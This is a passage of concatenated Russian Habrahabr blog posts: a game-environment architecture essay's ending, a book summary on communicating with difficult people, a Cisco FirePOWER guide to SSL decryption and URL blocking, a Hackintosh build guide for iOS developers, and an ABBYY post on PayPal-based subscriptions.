бюджета на строительство и зависит от типа проекта. Если бюджет недостаточен, архитектора могут привлекать только на ключевых этапах для оценки и внесения дополнений. Почасовая ставка архитектора примерно равна ставке опытного игрового художника. Вывод Хотя все эти аспекты дизайна и важны, я всегда говорю профессионалам и студентам, что критически важно проснуться и начать уделять внимание миру вокруг. Надеюсь, эти рекомендации помогут вам в этом, даже если вы не будете работать с архитектором. Также в заключение я хочу рассказать о масштабном видении такого сотрудничества. Я считаю, что вся наша творческая работа влияет на широкий культурный контекст. Чем больше членов нашего общества начнёт играть в игры в качественных цифровых окружениях, тем мы сильнее повысим визуальную грамотность людей. Думаю, что есть и обратный эффект — мы начнём ожидать большего от нашего реального окружения, а не игнорировать его, как часто делаем сейчас. Мы начнём задумываться о торговых центрах, супермаркетах, пригородных ландшафтах, заполненных однотипными закусочными, о банальной, бесцветной панельной архитектуре, штампуемой в США. Возможно, с помощью творческого подхода, найденного при создании цифровых сред, мы сможем вообразить усовершенствованное физическое окружение, в котором будет место воображению, обществу, устойчивости и процветанию. Тем самым я надеюсь также, что мы делаем шаги по дороге к полной мощи видеоигр, способной изменить мир вокруг нас в лучшую сторону.
https://habrahabr.ru/post/314376/
habrahabr
Как разговаривать с мудаками. 7 стратегий общения с неадекватными людьми
['книги', 'нетворкинг', 'общение', 'самообразование']
Неадекватные люди — повсюду. Их настолько много, что некоторые из них — это ваши коллеги, друзья или, даже, вы. В общении с неадекватными людьми логические доводы уступают знанию психологии и...
Неадекватные люди — повсюду. Их настолько много, что некоторые из них — это ваши коллеги, друзья или, даже, вы. В общении с неадекватными людьми логические доводы уступают знанию психологии и мотивов собеседника. Эмоциональные разговоры заканчиваются ничем не из-за того, что кто-то ведет себя неадекватно, а потому-что нам не известны эффективные методы общения в критических ситуациях. Книга “Как работать с мудаками” дает, как минимум, 7 таких стратегий. Кого мы будет называть психом В книге «Как разговаривать с мудаками» автор приводит понятие «псих» не как диагноз, а как временное состояние, в момент которого человек ведет себя неадекватно. Это может быть ваш коллега, друг и даже личный партнер. Порой и мы ведем себя подобным образом. Цели психа Псих ищет разногласия в споре. Он говорит резко, уверенно и тем самым сбивает нас с толку, несмотря на то, что его доводы могут быть ошибочны. Лишь после разговора мы понимаем это. Но бывает, что мы понимаем ошибочность доводов собеседника, но не знаем как правильно об этом сказать. Мы используем шаблонные приемы, которые лишь усугубляют ситуацию и позволяют неадекватному человеку добиться своего. Итог — испорченные отношения и подвешенное состояние. Способы общения с психами Автор книги много пишет о понимании психологии неадекватного человека, но в этой статье я поделюсь лишь практическими стратегиями общения с такими людьми. Итак, 7 стратегий общения с неадекватными людьми: Что делать, если тебя посылают «Пошел вон!» или «Я не хочу тебя больше видеть!» — мы можем услышать и на работе, и в личной жизни. Инстинктивный ответ — хлопнуть дверью и уйти. Бывает, мы и правда ни в чем не виноваты, а на нас обрушивается лавина критики. Мы воспринимаем эти слова всерьез, хотя делать этого не стоит. Когда человек излишне эмоционален с его уст хаотично слетают грубые выражения неосознанно. Если вы хотите усугубить ситуацию начните с ним спорить или уйдите, но если вам интересно превратить перепалку в беседу задайте простой вопрос: «Ты правда меня так ненавидишь или просто разочарован(а) тем, что я сделал?». Эти слова помогут вам и вашему собеседнику разобраться в истинных намерениях. В большинстве случаях собеседник признает, что дело не в вас, а ситуации, которая очень сильно его расстроила. Что делать, если вы не правы Ошибки бывают разные. Неважно, касается это карьеры или личной жизни, оправдываться и просить прощения практически бессмысленно. Высока вероятность услышать, что твои извинения никому не нужны или что-то еще похуже. Если вы действительно не правы, искренне признайте свою вину и скажите: «Что ты хочешь чтобы я сделал?». Что делать, если вы не знаете, что делать Если в настоящем вы уже все испортили, единственный способ исправить ситуацию — перевести разговор в будущее. Скажите: «Если я скажу что-то или сделаю, все станет только хуже. Как нужно сделать это правильно?» «Тебя это расстроило. Как ты хочешь, чтобы я сделал это в будущем?» Что делать, если кто-то истерит и говорит что все очень плохо Периодически, мы видим, как люди расстроены, говорят, что все ужасно и не представляют, что делать дальше. Инстинкт верно подсказывает, что нужно успокоить человека и мы часто произносим «Все будет хорошо» или «Успокойся». Но эти слова не работают, так как затрагивают проблему лишь поверхностно и избегают чувств собеседника. Чтобы справится с этой ситуацией используйте алгоритм из трех шагов: 1. Поймите собеседника. Внимательно выслушайте и дайте выговориться. 2. Проанализируйте факты. Поговорите, задайте несколько вопросов: «Давай разберемся...», «Какова вероятность что все закончится хорошо/плохо?», «Была ли похожая ситуация? Если да, то как тогда справились?». 3. Переведите разговор в будущее. Спросите: «Что мы предпримем прямо сейчас?». Что делать если ваш собеседник высокого о себе мнения Всезнайки раздражают. Они сыплют терминами, выражают поверхностное дружелюбие и зациклены только на личных целях. Иногда эти люди действительно умны. Поставить такого человека «на место» непросто. Чтобы справится с ситуацией, скажите следующее: «Вы умны и ваши результаты вызывают уважения. Только не стоит своим высокомерием мешать людям замечать ваш дар». Как отвечать на сарказм Пример типичного диалога: — Как дела? — Так же, как и пять минут назад. В подобных разговорах важно уловить сарказм. Очень часто мы обижаемся и уходим, хотя есть отличный способ справится с возникшей ситуацией. Сделайте спокойную паузу и вежливо продолжите: — Я понял — Что? — Ты хочешь чтобы я отстал от тебя и оставил в покое [или «чтобы я убирался из твоей жизни», «что я этого не заслуживаю»] Собеседник опешит, ведь вы прочитали его мысли. Ему самому станет стыдно и скорее всего диалог станет спокойнее. Что делать, если вами пытаются манипулировать Периодически мы встречаем людей, которым что-то от вас нужно. Они проявляют фальшивую любезность и пытаются заставить вас принять их точку зрения или сделать что-либо выгодное им. Чтобы избавить от навязчивого собеседника просто скажите ему: «Я знаю, что ты скрываешь». Каждый социопат что-то скрывает, поэтому вы в любом случае не ошибетесь. Вместо заключения «Личное счастье сильно зависит от того, как вы воспринимаете и реагируете на события и окружающих». Помните это. Учитесь договариваться, фильтруйте окружение и будьте собой. И не пытайтесь изменить себя. Пытайтесь сделать себя лучше. Толковые книги по общению — «Как разговаривать с мудаками», Марк Гоулстон — «Никогда не ешь в одиночку», Кейт Феррацци и Тал Рэз — «Включаем обаяние по методике спецслужб», Джек Шафер и Марвин Карлинс — «Секреты великих ораторов», — Джеймс Хьюмс — «Ключевые переговоры», Керри Паттерсон, Джозеф Гренни и Рон Макмиллан (в процессе чтения, но уже нравится) Несколько обзоров книг: — 30 толковых книг по бизнесу, саморазвитию и творчеству, которые изменили мою жизнь — 5 лучших книг начинающего предпринимателя + 1 совет — 5 книг, которые помогут мыслить нестандартно и почему это важно именно сейчас
https://habrahabr.ru/company/smartprogress/blog/318390/
habrahabr
Скучно о дешифрации
['SSL', 'HTTPS', 'Дешифрация', 'Информационная безопасность', 'системное администрирование', 'сетевые технологии', 'ИТ-инфраструктура', 'Cisco', 'FirePOWER', 'FTD']
Нет, а вы вообще когда-либо видели веселый текст про SSL? Я – нет. Но нам все равно придется страдать. Вы могли бы пролистать этот материал и почитать что-нибудь более интересное и...
Нет, а вы вообще когда-либо видели веселый текст про SSL? Я – нет. Но нам все равно придется страдать. Вы могли бы пролистать этот материал и почитать что-нибудь более интересное и интригующее. Но если вам надо разобраться, как и зачем это работает, то советую запастись чем-нибудь бодрящим. Ибо далее неподготовленный человек рискует заснуть. Я, конечно, возьму на себя ответственность и буду периодически вас будить. Однако, советую все же налить себе чашечку крепкого кофе и устроиться поудобнее. Поговорить нам надо о многом: дешифрация NGFW – дело тонкое. В комментариях к материалу о ISE+FirePOWER разгорелся спор на тему дешифрации. Я решил разобраться подробнее в этой УВЛЕКАТЕЛЬНОЙ теме. Все известные мне решения NGFW, UTM и Web proxy для дешифрации https используют подмену сертификата. Оперировать буду на примере Cisco virtual FirePOWER Thread Defense (далее vFTD) под управлением Cisco FirePOWER Management Center virtual (далее FMC). Мой коллега когда-то уже подробно описывал это решение здесь . Упомянутые принципы применимы к большинству подобных решений. Дешифрация – нужна или нет? Фильтрация по категориям URL, репутациям сайтов и Интернет-приложениям – это классическая функциональность NGFW. Чтобы понять к какому сайту обращается клиент не обязательно расшифровывать весь трафик. Функциональность дешифрации, как таковая, необходима только для определенных действий: анализа трафика, контроля передачи файлов и мониторинга. В случае же фильтрации интернет-доступа по https, дешифрация не нужна, пусть это и не очевидно. Вот как работает блокировка по URL-категории: Создаем политику доступа на FMC, которая будет блокировать доступ к соц. сетям. Пробуем доступ по-обычному http. Из соц. сетей нам подойдёт старая www.hi5.com . Access Denied, политика работает. Смотрим на FMC в Analysis -> Connections -> Events. Вот наши заблокированные запросы: Сдвигаем таблицу вправо, чтобы посмотреть URL: Смотрим в Wireshark с фильтром по IP-адресу 67.221.174.31: Видим: проходит TCP handshake, после клиент отправляет HTTP Get с URI «http://hi5.com». На HTTP Get он сразу получает ответ 403 Forbidden. Вот содержание: Видно, что это как раз тот самый End User Notification (далее EUN), который мы видим в браузере. EUN отправляет vFTD в ответ на попытку пойти на запрещённый ресурс. Причём EUN отправляется с IP-адреса 67.221.174.31. То есть, фактически, vFTD вклинивается в TCP-сессию между клиентом и сервером и подкладывает свой ответ. Ок, с чистым http всё понятно. Теперь пробуем зайти на https-сайт, например, vk.com. Дешифрация на vFTD не включена. Сможем ли заблокировать? Оп, опять Access Denied. на FMC в Analysis -> Connections -> Events. Вот наши заблокированные запросы: Сдвигаемся вправо: Видим, что vk.com оказался не удачным примером. Оказывается, изначально сессия устанавливается по http (tcp порт 80, видно во втором столбце последней страницы). Поэтому блокировка происходит по тому же сценарию, что и в первом случае. Перенаправление http на https Конечно, для vk.com мы могли бы просто написать в браузере «https://vk.com». Тогда сразу же попадаем на защищённую версию сайта. Но обычно никто так не делает — сайт самостоятельно перенаправляет на https. Перенаправление Wireshark для вконтактика 1 Видим, что сначала клиент устанавливает tcp-сессию на порт 80. В ответ на HTTP Get сервер отвечает HTTP 302 Found. HTTP Get Википедия подсказывает, что код HTTP 302 означает: «запрошенный документ временно доступен по другому URI, указанному в заголовке в поле Location». Видим, что в Location указано vk.com . Поэтому клиент сразу же устанавливает новую tcp-сессиию, но уже на порт 443. Wireshark для вконтактика 2 Если вы еще не заснули — пробуем facebook.com: Доступ заблокирован, но EUN не отобразился. Посмотрим на FMC: Посмотрим в Wireshark: Видим, что в отличие от vk, facebook сразу устанавливает сессию на порт 443. hsts Facebook использует механизм hsts. Если вкратце: сайты, поддерживающие hsts, после установления соединения с клиентом по https, говорят браузеру всегда использовать для последующих подключений https. То есть они для всех последующих сессий локально подставляют https:// вместо http:// в адресную строку. Например, в google chrome можно посмотреть, для каких сайтов включён hsts. Для этого надо ввести в адресной строке chrome://net-internals/#hsts: Проверка hsts в Chrome По дампу трафика в Wireshark видим, что vFTD блокирует сессию к facebook после каждого сообщения SSL Client hello. Соответственно, в Client hello содержится достаточно информации для распознания URL и принятия решения о блокировке. Рассмотрим Client hello внимательнее: Действительно, в поле Server Name Indication extension содержится информация, по которой можно определить запрашиваемый ресурс. Что касается EUN, у FirePOWER есть некоторые ограничения при отображении уведомлений о блокировке для пользователей. Для не расшифрованного трафика EUN отображаться не будет. Это логично, потому что FirePOWER подкладывает страничку EUN в установленную сессию (если она не расшифрована, сделать это нельзя). Блокировка по интернет-приложениям: Возможно стоит снова налить себе кофе. Осталось немного, но лучше перестраховаться. Последнее, что решил проверить — будет ли работать фильтрация интернет-приложений внутри https. В частности, покомпонентная. Создаем политику, которая будет блокировать Google Drive, Google Maps и Google Play: Проверяем — выбранные приложения успешно заблокированы. Смотрим на FMC: В Wireshark видно, что приложения блокируются по тому же сценарию, что и Facebook, то есть после каждого SSL Client Hello: Блокировка Интернет-приложений На практике нужно проверять возможность блокировки для конкретных приложений. Нет гарантии, что настроенная политика будет срабатывать вне зависимости от дешифрации (включена она или выключена). Версии приложений постоянно меняются, а патчи для FirePOWER могут не успевать за ними. Для распознавания некоторых приложений всё же требуется дешифрация. Их немного, они отмечены в настройках политик специальной иконкой с замком. Приложения, требующие дешифрацию Большинство из них связано с передачей файлов. Таким образом, дешифрация нужна, чтобы срабатывало уведомление пользователей о блокировке. Хотя только для этого я бы весь этот компот не варил. Для шифрованного трафика не работают сигнатуры IPS и файловые политики, включая Advanced Malware Protection (AMP). И это логично: чтобы искать вредоносов, трафик должен быть расшифрован. Тут стоит понимать, что глубокая инспекция не отработает именно для payload. Для той информации, которая передаётся в открытом виде (заголовки IP, TCP, сообщения SSL Handshake) сигнатуры работать будут. С точки зрения IPS более интересна защита входящего трафика. Если, мы публикуем Web-сервер в Интернет и хотим защитить его с помощью IPS, то SSL-сессии будут инициироваться снаружи. Дешифровать их с подменой сертификата не имеет смысла: зачем менять один собственный сертификат на другой? Для такой задачи на FirePOWER предусмотрена дешифрация с private key. То есть на FirePOWER заранее загружается сертификат публикуемого сервера и соответствующий private key. С помощью него будет осуществляться дешифрация сессии, запущенной снаружи. Данный вариант в рамках этого материала рассматривать не будем. Последнее применение дешифрации – мониторинг трафика. В итоге, для чего может потребоваться дешифрация трафика на FirePOWER: Отображение EUN для заблокированных сайтов и Web-приложений; Анализ трафика сигнатурами IPS; Контроль передачи файлов, в том числе анализ файлов системой AMP; Распознавание некоторых приложений; Мониторинг. Думаю, теперь понятно, зачем дешифровать SSL на NGFW (а также UTM, Web proxy) в принципе. В данном случае я разобрал сабж на примере FirePOWER. Однако, уверен — на других решениях ситуация будет аналогичной. Если это не совсем так — пишите. В следующем материале расскажу, КАК ИМЕННО работает дешифрация с подменой сертификата на NGFW. Stay tuned.
https://habrahabr.ru/company/cbs/blog/318326/
habrahabr
Почему Hackintosh уже актуален. Развенчание мифов
['ios', 'hackintosh', 'osx', 'xcode']
Каждому iOS разработчику нужен свой уголок с печеньками, плюшевой уточкой и шайтан-машиной на OSX. В свете перехода на Swift, мощность железа стала особенно востребована. Чтобы комфортно...
Каждому iOS разработчику нужен свой уголок с печеньками, плюшевой уточкой и шайтан-машиной на OSX. В свете перехода на Swift, мощность железа стала особенно востребована. Чтобы комфортно разрабатывать под айфоны, нужен как минимум процессор с частотой 3+ ghz, SSD на 120-250Gb и оперативы гигов 16. Все это как раз для того, чтобы не было желания посмотреть футбол, пока запускается проект или открывается interface builder. А знаете, что еще было всегда актуально? Сумасшедшие цены на яблочные устройства: PC с таким же, плюс-минус, железом можно запросто собрать всего за 30.000 рублей! (инфа на ноябрь 2016). Многие, конечно, думают, что раз компания покупает железо, то значит финансы бесконечные, можно не стесняться в средствах. Если вы работаете в Google, то вам повезло и жизнь хороша. Но в остальных случаях это не так. Что же делать? Не разрабатывать же под Android в конце концов? Под катом мы узнаем о современном Hackintosh, его роли в разработке, способам безболезненной установки и настройки, услышим мнение людей, работающих на нем не первый год, и проведем тест на iOS инструментах. Краткое вступление Большинство, естественно, не собираются приобретать устройство за 120к своим разработчикам и идут по альтернативному пути — берут Mac Mini 2011-2014-го годов за 50-60к, который несколько слабее. Но даже в этом случае цена все равно заоблачная. В первую очередь, сравнительные тесты мы будем проводить именно на таком упрощенном варианте, так как он наиболее распространен. Должен предупредить, что официально установка Хакинтоша — это нарушение лицензионного соглашения с Apple, но до тех пор, пока вы не продаете собственные компьютеры с предустановленной OS X , все более чем невинно. UPD1: информация оказалось не такой однозначной насчет нарушения лицензионного соглашения и незаконности в целом, более подробно в конце статьи. Буду обновлять сноску по мере появления новых данных. Решение Есть устоявшийся стереотип, что установка Hackintosh выглядит приблизительно так: И это будет правдой, но лишь отчасти. Как и на любом поприще, ничто не стоит на месте. Вот и рынок взломанных маков уверенно ушел вперед с того времени, как вы после лабораторных в институте, еще не бородатым студентом в далеком 2007-м, пытались поставить на свой дохленький комп это чудо техники. Сейчас это процесс выглядит следующим образом: создаем самую обычную загрузочную флешку с самым обычным Mac из AppStore, проводим небольшую настройку BIOS, устанавливаем систему и докидываем дрова парой кликов. На geektimes даже есть замечательная инструкция по всему этому процессу. Когда понял, что зря сидишь на своем Mac Mini. Почему же тогда столько форумов залито слезами разработчиков и историями провала? Если бы все было так просто, то никто бы просто не покупал устройства Apple. Все дело в том, что главный камень преткновения — это неправильно подобранное железо. Комплектующие Даже больше скажу, наиболее проблемная часть — это видеокарта, на нее действительно нужно обратить внимание. Все остальное, как правило, уже работает из коробки. Естественно, мы говорим только о стационарниках. С ноутбуками подружить яблоко еще ни разу не получилось, сколько ни старался. Говорят, искусству установки хакинтоша на ноут учат на последних курсах Хогвартса. Возвращаясь к видеокартам, посоветую проверенные временем варианты, которые регулярно используем у себя в компании: gt210 и gt630 . Практически бесплатные, не требующие танцев с настройкой, служащие верой и правдой уже не первый год. Для машины разработчика подходят идеально. Использовать встроенную в CPU карточку я бы не советовал, так как, во-первых, хуже настраивается, а во вторых, несколько сказывается на производительности. Вот только есть одна особенность из-за которой я однажды чуть не вышел в окно, пытаясь вторые сутки завести видяху — хакинтоши не любят VGA. Цифру на лету схватывают — DVI/HDMI/DP все сразу завелось, а аналог никак. Так что если будете подбирать монитор для рабочей станции, то убедитесь, что у него есть HDMI или DVI. В целом по железу, контент стандартного черного ящика для разработчика выглядит следующим образом. Даю сразу ссылки на Yandex-Market для актуальных цен: CPU : Intel Core i3-6100 Skylake (3700MHz/LGA1151/L3 3072Kb). Не обязательно брать процессор с блек джеком и нанотехнологиями, лишь бы это был Intel . AMD традиционно никто не любит не поддерживается яблоком. Мы остановили свой выбор именно на i3-6100 Skylake из-за его сравнительной дешевизны(~7к на момент написания статьи) и солидных лошадиных сил. UPD2: Добавлю сравнение этого процессора с тем, что в Mac Mini из начала статьи. Точно нельзя сказать, что i7 сильнее. Motherboard : Gigabyte GA-H110M-S2H . Гигабайт практически всегда легко заводится из коробки, не требует патчинга USB, ethernet взлетает сам, а для аудио достаточно нужный kext в multibeast указать, что элементарная процедура сама по себе. Поставить галочку напротив ALC887 и нажать next может и эникейщик. Обратите внимание , что плата для 1151 чипсета(Skylake) и DDR4 оперативы! Ваши старые проц и память туда, к сожалению, не войдут. GPU : GigaByte GeForce GT 210 . Про видеокарту можно еще добавить, что если берете в офис, то лучше остановиться на варианте без кулера с пассивным радиатором. Когда она одна такая — это ничего страшного, но если их становится много, то гул уже вполне ощутим и начинает надоедать. По производителю посоветую смотреть в сторону GigaByte по возможности — оно так исторически сложилось, что лучше ставится с хакинтошем. Cooler : Zalman CNPS80F. Обменял на коробку конфет в магазине. Крайне дешевый кулер, достаточно легко ставится(если быть достаточно уверенным в себе) и неплохо охлаждает. Для меня Zalman всегда был One-Love, в этот раз фирма тоже не подвела. SSD : Kingston SSDNow V300 256Gb. Диск проверенный временем. У меня в Macbook такой стоит, с которым я путешествую вот уже несколько лет, дома в игровом стационарнике, на работе практически в каждой рабочей лошадке, и (стыдно признаться) на локальном офисном сервере. И за все это время ни один даже не намекнул на сбой. Если у вас нет особых предпочтений, то рекомендую как вариант с гарантией. P.S. Не забудьте взять салазки 2.5 на 3.5, если покупаете для стационарника. RAM : Crucial DDR4 8Gb * 2. Не дорогая и вместительная оперативная память. Но стоит помнить, что она UDIMM (нерегистрировая). Якобы менее стабильна и за счет этого быстрее и дешевле, но пока неожиданностей не выявили. Для офиса самое то. Если вы сомневаетесь, брать одну или две плашки для разработки под iOS, то берите сколько поместится в мать, потому что Xcode — это Chrome в мире IDE. Ему никогда не будет много оперативы, он всегда найдет куда пристроить 'излишки'. Особенно, если вы еще балуетесь симулятором. Про корпус писать не буду, подойдет любой mini-tower, лишь бы влезла мать. Производительность Чтобы не тестировать сферических коней в вакууме, никаких абстрактных нагрузочных тестов мы проводить не будем, каждый сам может посмотреть индексы того или иного процессора, если заинтересует. Я же поделюсь наблюдениями в скорости конкретно на рабочих инструментах Xcode, насколько видна разница между Mac Mini 2011-го года с обновленной оперативной памятью и диском(считай, версия 2014 года), и нашим франкенштейном. HighEnd девайс мы оставим в стороне, потому что на него не хватило финансов) По традиции предыдущих статей, возьмем все тот же свифтовый Open Source проект , который мы так обильно разгоняли. Для чистоты эксперимента отключим полно-модульную оптимизацию и сделаем полную очистку проекта. Сравнивать будем железо из примерно одинакового ценового сегмента, БУ MacMini такой сейчас стоит около 30к, а новый 2014-го года от 50к и выше. Mac Mini Время сборки проекта: Hackintosh Время сборки проекта: Результат на лицо. За одну и туже сумму для правильного железа можно получить более чем двухкратный прирост к производительности! Кроме того, это влияет не только на время компиляции, но и в целом проявляется на отзывчивости системы, что немаловажно. Счастливый разработчик на быстрой системе: Стабильность В качестве критериев возьмем пользовательское впечатление, сложность обновления, частоту зависаний, глюков, сбоев и в целом стабильность системы. Постараемся объединить субъективное восприятие и объективное. Впечатление : ребята, которые сидят на хакинтошах без исключения говорят, что все шустро и не хочется ударить системный блок ногой, чтобы работал быстрее. Между естественным маком и сотканным из черной магии, существенной разницы не заметили. А как сказал мой коллега Алексей: если сравнивать с Windows, то просто сказка. Сбои и ошибки : практически никогда не зависает. За несколько лет буквально пару раз такое случалось. Причины не выявили, проблема решается простой перезагрузкой. Обновления : а вот здесь таится главный побочный эффект. Переход на свежий мажорный релиз — это как коробка конфет: никогда не знаешь что внутри. Может обновиться, а может и придется заново всю систему накатывать. Минорные обновления входят без проблем, но перед крупняком рекомендуется сделать бекап важной информации и иметь под рукой установочную флешку с последней версией. Это что касается программного обновления. А вот с прокачкой железа Хакинтош далеко впереди. Например, на Mac Mini 2014-го года(это самая последняя модель) нельзя даже докинуть плашку оперативки, она там просто впаяна. Что уж говорить про обновления процессора и видеокарты при необходимости. Тоже самое касается ремонтопригодности, если в Mac у вас что-либо летит, то починить или заменить это будет гораздо сложнее. Кроме этого, старые Mac(до 2013 года) имеют аппаратное ограничение по объему оперативной памяти (16 гб). Все это касается как Sierra(последняя версия), так и El Capitan, если кто-то предпочитает операционки постарше. Заключение Этой статьей я хотел показать, что для iOS разработки не обязательно нужен дорогостоящий Mac или особые хакерские навыки. Технологии не стоят на месте и установка Hackintosh больше не такая болезненная и не требующая высокой экспертизы как раньше. Отмечу, что целью было не сравнить стоимость i7 у Apple и на рынке, а показать возможность подбора более подходящего для своих задач железа, которое Apple, к сожалению, не предоставляет. Мы недавно провели эксперимент, позволив стажеру с третьего курса университета, самостоятельно собрать и настроить себе рабочую машину, включая полную установку системы. Получив всего пару советов о флагах загрузки, утилиту для финальной конфигурации и флешку с системой, парень буквально за день собрал себе готовый рабочий инструмент. Пожалуй, это все. Буду рад услышать ваш опыт работы с Hackintosh, комментарии и обратную связь. На сладкое оставлю несколько ссылок, которые могут быть полезны при работе с хаком: Multibeast — утилита для пост-установочной настройки. Unibeast — тулза для создания загрузочной флешки. (Для MacOS) Туториал по установки Sierra . Регулярно им пользуемся. Справочник ресурсов и полезных ссылок . UPD1 : Есть подозрение, что Hackintosh является законным на территории РФ, так как конфликтует с ЗоЗПП, если верить комментарию . Есть среди нас юристы, которые могут конкретнее сказать? UPD2: Добавил сравнение двух процессоров, чтобы не быть голословным. Спасибо creker за точную модель.
https://habrahabr.ru/post/318164/
habrahabr
Подписки в ABBYY Cloud OCR SDK: «заткнитесь и возьмите мои деньги!»
['подписка', 'интерфейсы', 'сервисы', 'paypal', 'abbyy', 'abbyy cloud ocr sdk', 'платёжные системы', 'платежи']
Хорошая новость™: теперь в ABBYY Cloud OCR SDK помимо разовой покупки страниц можно оформить подписку через PayPal. Мы долго планировали эту разработку, довольно долго она была в состоянии...
Хорошая новость™: теперь в ABBYY Cloud OCR SDK помимо разовой покупки страниц можно оформить подписку через PayPal. Мы долго планировали эту разработку, довольно долго она была в состоянии беты для ограниченного круга пользователей. Сейчас подписки доступны всем, а этот пост – о разных технических и социальных моментах этой эпичной разработки. Начать нужно с ответа на вопрос «зачем». Ответ на него: подписки удобны и понятны многим пользователям. Хотя покупать пакеты страниц тоже удобно и несложно, пользователю нужно следить за остатком страниц приложения и докупать страницы. Сервис умеет отправлять предупреждение о скором исчерпании остатка страниц, но пользователь может его пропустить. Если пользователь забудет докупить страницы – его приложение может в самый неподходящий момент доизрасходовать остаток страниц и перестать работать. Капитан подсказывает решение: автоматизация. Пользователь может продолжать докупать пакеты страниц, а может оформить подписку. Конечно, подписку можно прекратить в любой момент, в этом случае положительный остаток страниц не изменится, его можно будет израсходовать позже. Мы старались сделать логику подписок как можно более понятной и одновременно удобной для пользователей. Все подписки в сервисе – с ежемесячным пополнением остатка страниц: раз в месяц списывается оговоренная сумма и остаток пополняется до оговоренного числа. Число страниц, которые можно обработать, в принципе не ограничено – можно «уходить в минус», но за это позже придется доплатить, доплата списывается также автоматически. «Уход в минус» – это очень важная возможность TM , она защищает приложения пользователей от внезапной остановки в случае исчерпания ежемесячного объема подписки. Если «минус» не очень глубокий, в конце периода будет списана не только ежемесячная плата, но и плата за страницы, обработанные сверх начисленного объема. Если приложение пользователя обрабатывает много страниц и остаток уходит в глубокий минус, сервис, не дожидаясь очередного ежемесячного списания, автоматически доначисляет пользователю столько страниц, чтобы остаток стал нулевым, и списывает с пользователя оплату за начисленные страницы. Доначисление может происходить почти как угодно часто по мере уменьшения остатка страниц при каждом достижении определенного порога, который зависит от ежемесячного объема подписки. При такой схеме доначисления страниц между ежемесячными списаниями пользователи могут быстрее реагировать, если их приложения стали обрабатывать больше страниц, чем они предполагали ранее. Самые очевидные возможные причины – увеличение обрабатываемых объемов или логическая ошибка в приложении пользователя. КРАЙНЕ НЕОЖИДАННО узнать о списании накопившейся за месяц десятикратной стоимости подписки в конце месяца – сомнительная радость. Иногда пользователи просят возможность запретить досписания или как-то иначе ограничить объем страниц в месяц, чтобы защититься от чрезмерного расходования средств. Пока мы считаем, что это надуманное требование. Как бы ни было сделано ограничение, оно подразумевает некий порог значения остатка страниц, при достижении которого приложение пользователя перестанет работать. Пользователь как-то должен его заранее узнать. Если пользователь ошибется в меньшую сторону – его приложение неожиданно остановится. Если пользователь ошибется в большую сторону – он расстроится из-за чрезмерного списания. Поэтому для случая, когда нужно строго ограничить расходы, ответ – покупка пакетов, с ними не ошибешься. Подписки работают на основе «reference transactions» в PayPal . При создании подписки сервис вызывает у PayPal метод CreateBillingAgreement, который возвращает ссылку на страницу подтверждения на сайте PayPal. Пользователь переходит на сайт PayPal и там подтверждает создание «соглашения о списании» (billing agreement). Далее сервис, указывая идентификатор соглашения, может списывать с пользователя практически любые суммы в любой момент, вызывая метод DoReferenceTransaction. Сервис вызывает DoReferenceTransaction один раз сразу после успешного выполнения CreateBillingAgreement, затем – каждый раз как проходит месяц с предыдущего ежемесячного списания и каждый раз как будет достигнут порог, при котором нужно доначислять страницы между ежемесячными списаниями. Сумма списания каждый раз вычисляется в зависимости от причины конкретного списания и числа страниц, она может быть разной. Да, именно так – можно взять и списать в произвольный нужный момент столько, сколько спишется почти любую сумму. PayPal reference transactions – это очень мощный механизм. При работе с ним нужно отслеживать (записывать на стороне сервиса) все выполненные списания и их суммы, а также принимать все разумные технические меры, чтобы по возможности уменьшить число логических ошибок, которые могли бы привести к несправедливым списаниям. Пользователь, конечно, видит все списания в своей учетной записи в PayPal и в случае несогласия с любым списанием может решить его оспорить – как обычно при использовании PayPal. Большое число несправедливых списаний не только может испортить репутацию сервиса, но и изрядно добавит работы его владельцам – нужно будет реагировать на претензии, на просмотр ленты с котиками и разработку времени не останется. Важно сделать так, чтобы реализация логики списаний была надежной, предсказуемой и проверяемой, но этого недостаточно. Очень важно также сделать, чтобы списания были максимально понятными для пользователей. Самое главное – у пользователей не должно оставаться и тени сомнения, что подписка бессрочная и действует до момента отмены. Мало написать в витрине «ежемесячный платеж – столько-то денег», нужно также явно указывать в витрине и уведомлениях, что ежемесячная плата за подписку взимается автоматически и безусловно до тех пор, пока подписка не отменена. Также хорошим тоном считается предупреждать о списании ежемесячной платы за несколько дней – бывает, пользователи подписываются, потом перестают пользоваться сервисом и забывают о подписке. Удобнее и эффективнее предупредить их и дать им заранее отменить подписку, чем потом они обратятся в поддержку или попробуют оспорить списание в PayPal. Если у пользователя будут основания считать, что его ввели в заблуждение, он может обратиться к местному регулятору или в суд, издержки в таком случае будут намного больше списанной ежемесячной платы. Неправильно: «мы списали у вас ежемесячную плату за подписку». Правильно: «мы списали у вас ежемесячную плату и будем списывать ее и дальше каждый месяц, пока вы не отмените подписку на вот этой странице [и ссылка]». Неправильно: «за перерасход страниц списывается…». Правильно: «можно обрабатывать больше страниц, чем включено в ежемесячный объем подписки, в таком случае остаток страниц приложения может стать отрицательным, за все страницы, обработанные сверх ежемесячного объема, будет списана дополнительная плата». Если сделать правильно, пользователи не только с удовольствием расстаются с деньгами, но и спрашивают, «куда тут засунуть карточку, чтобы ВЖУХ – и само списывалось сколько нужно». С подписками им больше не нужно следить за остатком страниц и невыносимо утомительно несколько раз щелкать мышью для каждой их докупки. Дмитрий Мещеряков, департамент продуктов для разработчиков
https://habrahabr.ru/company/abbyy/blog/318328/
habrahabr
Коротко про лизинг: вы покупаете железо за треть цены, но оно остается у продавца
['лизинг', 'бюджет', 'аренда сервера']
Часто в небольших и средних организациях встречается ситуация, когда серверный парк требует расширения или обновления, но «денег нет, придумай что-нибудь». Обычных путей покупки дорогостоящего...
